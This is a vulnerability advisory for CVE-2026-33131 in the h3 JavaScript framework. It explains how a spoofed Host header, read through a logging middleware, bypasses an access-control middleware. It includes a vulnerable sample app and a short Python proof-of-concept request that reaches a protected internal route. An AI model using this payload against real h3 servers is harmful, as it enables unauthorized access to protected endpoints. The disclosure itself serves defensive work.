CVE-2026-33131: h3 has a middleware bypass with one gadget

H3 NodeRequestUrl bugs

Vulnerable pieces of code : js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3()

const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key");

if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); }

return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly);

app.get("/internal/run", () => { return "Internal OK"; });

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url.url

It will lead to trigger one specials method

js // url.mjs FastURL get url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; }

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code : js this.#url = new NativeURL(this.href); Where is the this.href comes from ? js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; return this.#href; } Because the this.#url is still null so this.#href is built up by : js if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares js handler(event) { const route = this"~findRoute"; if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this"~getMiddleware"; return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); }

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc : py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger url() from class FastURL and need a fix immediately.